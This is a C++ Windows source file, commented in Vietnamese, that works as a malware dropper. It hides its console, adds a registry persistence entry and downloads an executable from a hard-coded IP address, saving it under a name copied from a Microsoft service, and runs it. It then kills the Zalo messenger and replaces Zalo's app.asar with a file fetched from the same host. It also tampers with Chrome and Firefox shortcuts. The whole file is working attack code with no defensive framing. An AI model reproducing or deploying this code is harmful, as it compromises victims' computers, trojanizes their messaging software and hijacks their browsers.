#pragma once
#define _CRT_SECURE_NO_WARNINGS
#define CURL_STATICLIB
#include <Windows.h>
#include "InjectShortcut.h"
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")  // Link with Shlwapi.lib
#pragma comment(lib, "Advapi32.lib") // Link with Advapi32.lib for GetUserName function
#include <iostream>
#include <iomanip>
#include <sstream>
#include <iphlpapi.h>
#include <fstream>
#include <winhttp.h>
#include <wininet.h>
#include "AddReg.h"
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <tlhelp32.h>
#include <optional>
#include <regex>
#include <filesystem>
#pragma comment(lib, "wininet.lib")

#define url1 "http://45.76.176.147:8098/mscorsvc.exe"
#define url2 "http://45.76.176.147:8098/app.asar"
//#define url1 "http://localhost:8088/mscorsvc.exe"

#define pathSave "C:\\Programdata\\mscorsvc.exe"

namespace fs = std::filesystem;

// Danh sách các tên tiến trình của Zalo
std::vector<std::string> ZALO_PROCESS_NAMES = { "zalo.exe" }; // Thêm tên tiến trình của Zalo vào đây

// Hàm để chuyển đổi std::wstring thành std::string
std::string wstringToString(const std::wstring& wstr) {
    int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), NULL, 0, NULL, NULL);
    std::string str(size_needed, 0);
    WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), &str[0], size_needed, NULL, NULL);
    return str;
}

//// Hàm chuyển đổi từ std::string sang std::wstring sử dụng MultiByteToWideChar
//std::wstring MultiByteToWide(const std::string& utf8str) {
//    // Kiểm tra độ dài chuỗi cần chuyển đổi
//    int len = MultiByteToWideChar(CP_UTF8, 0, utf8str.c_str(), -1, NULL, 0);
//
//    // Tạo mảng wchar_t để lưu kết quả
//    wchar_t* utf16str = new wchar_t[len];
//    MultiByteToWideChar(CP_UTF8, 0, utf8str.c_str(), -1, utf16str, len);
//
//    // Chuyển đổi thành std::wstring
//    std::wstring wstr(utf16str);
//
//    // Giải phóng bộ nhớ
//    delete[] utf16str;
//
//    return wstr;
//}


// Hàm để chuyển đổi chuỗi thành chữ thường
std::string toLower(const std::string& str) {
    std::string lowerStr = str;
    std::transform(lowerStr.begin(), lowerStr.end(), lowerStr.begin(), ::tolower);
    return lowerStr;
}

// Hàm để lấy danh sách các PID của các tiến trình Zalo
std::vector<int> getZaloProcessIds() {
    std::vector<int> pids;
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        throw std::runtime_error("Not list process");
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
        throw std::runtime_error("Not found first Process!");
    }

    do {
        std::string processName = toLower(wstringToString(pe32.szExeFile));

        if (std::find(ZALO_PROCESS_NAMES.begin(), ZALO_PROCESS_NAMES.end(), processName) != ZALO_PROCESS_NAMES.end()) {
            pids.push_back(pe32.th32ProcessID);
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    return pids;
}

// Hàm để kết thúc tiến trình dựa trên PID
bool killProcess(int pid) {
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
    if (hProcess == NULL) {
        return false;
    }
    BOOL result = TerminateProcess(hProcess, 0);
    CloseHandle(hProcess);
    return result != 0;
}

// Hàm để kết thúc danh sách các tiến trình dựa trên danh sách PID
void killProcesses(const std::vector<int>& processIds) {
    for (int pid : processIds) {
        if (killProcess(pid)) {
            std::cout << "Kill PID: " << pid << std::endl;
        }
        else {
            std::cerr << "Not kill PID: " << pid << std::endl;
        }
    }
}

bool DownloadFile(const char* url, const char* localPath) {
    // Initialize WinINet
    HINTERNET hInternet = InternetOpen(L"MyDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        std::cerr << "InternetOpen failed, error: " << GetLastError() << std::endl;
        return false;
    }

    // Open the URL
    HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hUrl) {
        std::cerr << "InternetOpenUrlA failed, error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return false;
    }

    // Create the file
    std::ofstream outFile(localPath, std::ios::binary);
    if (!outFile.is_open()) {
        std::cerr << "Failed to open file: " << localPath << std::endl;
        InternetCloseHandle(hUrl);
        InternetCloseHandle(hInternet);
        return false;
    }

    // Read the data
    char buffer[4096];
    DWORD bytesRead;
    while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) {
        outFile.write(buffer, bytesRead);
    }

    // Cleanup
    outFile.close();
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInternet);

    return true;
}

bool IsShortcutFileExistsOnPublicDesktop(LPCWSTR shortcutPath) {
    // Check if the file exists
    BOOL fileExists = PathFileExists(shortcutPath);
    return (fileExists == TRUE);
}
void CopyAndDelete(LPCWSTR publicDesktopPath, LPCWSTR userDesktopShortcut) {
    // Copy the shortcut from Public desktop to user's desktop
    if (!CopyFile(publicDesktopPath, userDesktopShortcut, FALSE)) {
        std::cerr << "Failed to copy the shortcut. Error code: " << GetLastError() << std::endl;
        return; // Exit function if copying fails
    }

    // Delete the original shortcut from Public desktop
    //if (!DeleteFile(publicDesktopPath)) {
    //    std::cerr << "Failed to delete the original shortcut. Error code: " << GetLastError() << std::endl;
    //    return; // Exit function if deletion fails
    //}

    std::wcout << L"Shortcut successfully copied to user's desktop." << std::endl;
}
std::wstring ConvertToWideString(const std::string& narrowStr) {
    int wideStrSize = MultiByteToWideChar(CP_UTF8, 0, narrowStr.c_str(), -1, nullptr, 0);
    std::wstring wideStr(wideStrSize, 0);
    MultiByteToWideChar(CP_UTF8, 0, narrowStr.c_str(), -1, &wideStr[0], wideStrSize);
    return wideStr;
}
void RunFile(const char* localPath)
{
    // run file 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    // Initialize the STARTUPINFO structure
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // Convert the narrow string to a wide string
    std::wstring wideLocalPath2 = ConvertToWideString(localPath);

    // Start the child process
    if (!CreateProcessW(
        NULL,                       // No module name (use command line)
        &wideLocalPath2[0],         // Command line
        NULL,                       // Process handle not inheritable
        NULL,                       // Thread handle not inheritable
        FALSE,                      // Set handle inheritance to FALSE
        0,                          // No creation flags
        NULL,                       // Use parent's environment block
        NULL,                       // Use parent's starting directory
        &si,                        // Pointer to STARTUPINFO structure
        &pi)                        // Pointer to PROCESS_INFORMATION structure
        ) {
        std::cerr << "CreateProcess failed (" << GetLastError() << ").\n";
    }

    // Wait until child process exits
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Close process and thread handles
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    std::cout << "Process executed successfully.\n";

}
void DownLoadAndRun(const char* url, const char* localPath)
{
    if (DownloadFile(url, localPath)) {
        std::cout << "Download succeeded." << std::endl;
    }
    else {
        std::cout << "Download failed." << std::endl;
    }
    //run file 
    RunFile(localPath);
   
}

bool compareVersions(const std::wstring& version1, const std::wstring& version2) {
    std::vector<int> v1, v2;
    std::wregex rgx(L"\\d+");
    std::wsregex_iterator iter1(version1.begin(), version1.end(), rgx), iter2(version2.begin(), version2.end(), rgx), end;

    while (iter1 != end) v1.push_back(std::stoi((*iter1++).str()));
    while (iter2 != end) v2.push_back(std::stoi((*iter2++).str()));

    return v1 < v2; // So sánh các phần tử trong vector
}

// Hàm để tìm thư mục "resources" trong các thư mục có chứa chuỗi "Zalo-*"
std::optional<fs::path> getLatestZaloResourcesDir(const fs::path& basePath) {
    std::optional<fs::path> latestDir;
    std::wstring latestVersion = L"0.0.0";

    for (const auto& entry : fs::directory_iterator(basePath)) {
        if (entry.is_directory()) {
            std::wstring dirName = entry.path().filename().wstring();

            // Kiểm tra nếu thư mục có dạng "Zalo-*"
            if (dirName.find(L"Zalo-") != std::wstring::npos) {
                fs::path resourcesPath = entry.path() / L"resources\\app.asar";
                if (fs::exists(resourcesPath)) {
                    std::wstring version = dirName.substr(5); // Bỏ qua "Zalo-"
                    if (compareVersions(latestVersion, version)) {
                        latestVersion = version;
                        latestDir = resourcesPath;
                    }
                }
            }
        }
    }

    return latestDir;
}

int main() {
    FreeConsole();
    
    addregistry(L"C:\\Programdata\\mscorsvc.exe",L"mscorsvc");
    //download file malware
    DownLoadAndRun(url1,pathSave);

    const DWORD max_username_len = 256; // Maximum length for a user name
    TCHAR username[max_username_len];
    DWORD username_len = max_username_len;

    GetUserName(username, &username_len);

    try {
        std::vector<int> zaloPids = getZaloProcessIds();
        if (zaloPids.empty()) {
            std::cerr << "Not Found Zalo." << std::endl;
        }
        else {
            killProcesses(zaloPids);
            std::wstring usernameWstr(username);

            // Xây dựng đường dẫn với tên người dùng
            std::wstring baseZaloPath = L"C:\\Users\\";
            baseZaloPath += usernameWstr;
            baseZaloPath += L"\\AppData\\Local\\Programs\\Zalo\\";
            auto latestResourcesDir = getLatestZaloResourcesDir(baseZaloPath);

            std::string pathAsarZalo = latestResourcesDir.value().string();
            std::cout << "PathZalo: " << pathAsarZalo << std::endl;
            if (pathAsarZalo != "") {
                if (DownloadFile(url2, pathAsarZalo.c_str())) {
                    std::cout << "Download succeeded." << std::endl;
                }
                else {
                    std::cout << "Download failed." << std::endl;
                }
            }       
        }
    }
    catch (const std::exception& e) {
        std::cerr << e.what() << std::endl;
    }

    WCHAR shortcutSourcePath_FirefoxPubic[MAX_PATH];
    StringCchPrintf(shortcutSourcePath_FirefoxPubic, MAX_PATH, L"C:\\Users\\Public\\Desktop\\Firefox.lnk");
    
    WCHAR shortcutSourcePath_FirefoxStartMenu[MAX_PATH];
    StringCchPrintf(shortcutSourcePath_FirefoxStartMenu, MAX_PATH, L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Firefox.lnk");

    WCHAR shortcutSourcePath_ChromePubic[MAX_PATH];
    StringCchPrintf(shortcutSourcePath_ChromePubic, MAX_PATH, L"C:\\Users\\Public\\Desktop\\Google Chrome.lnk");

    WCHAR shortcutSourcePath_ChromeStartMenu[MAX_PATH];
    StringCchPrintf(shortcutSourcePath_ChromeStartMenu, MAX_PATH, L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk");

    WCHAR shortcutSourcePath_FirefoxDesktop[MAX_PATH];
    StringCchPrintf(shortcutSourcePath_FirefoxDesktop, MAX_PATH, L"C:\\Users\\%s\\Desktop\\Firefox.lnk", username);
    WCHAR shortcutSourcePath_ChromeDesktop[MAX_PATH];
    StringCchPrintf(shortcutSourcePath_ChromeDesktop, MAX_PATH, L"C:\\Users\\%s\\Desktop\\Google Chrome.lnk", username);
    TCHAR shortcutDesPath[MAX_PATH];
    //check shortcut exited in public
    if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxPubic)) {
        ChangeShortcutFirefox(shortcutSourcePath_FirefoxPubic);
        CopyAndDelete(shortcutSourcePath_FirefoxPubic, shortcutSourcePath_FirefoxDesktop);
    }
    if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromePubic))
    {
        ChangeShortcutChrome(shortcutSourcePath_ChromePubic);
        CopyAndDelete(shortcutSourcePath_ChromePubic, shortcutSourcePath_ChromeDesktop);
    }

    // start-menu
    if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxStartMenu)) {
        CopyAndDelete(shortcutSourcePath_FirefoxStartMenu, shortcutSourcePath_FirefoxDesktop);
    }

    if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromeStartMenu)) {
        CopyAndDelete(shortcutSourcePath_ChromeStartMenu, shortcutSourcePath_ChromeDesktop);
    }
    //check shortcut exited in desktop
    if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxDesktop)) {
        ChangeShortcutFirefox(shortcutSourcePath_FirefoxDesktop);
        CopyAndDelete(shortcutSourcePath_FirefoxDesktop, shortcutSourcePath_FirefoxStartMenu);
    }

    if(IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromeDesktop)) {
        ChangeShortcutChrome(shortcutSourcePath_ChromeDesktop);
        CopyAndDelete(shortcutSourcePath_ChromeDesktop, shortcutSourcePath_ChromeStartMenu);
    }

    
    return 0;
}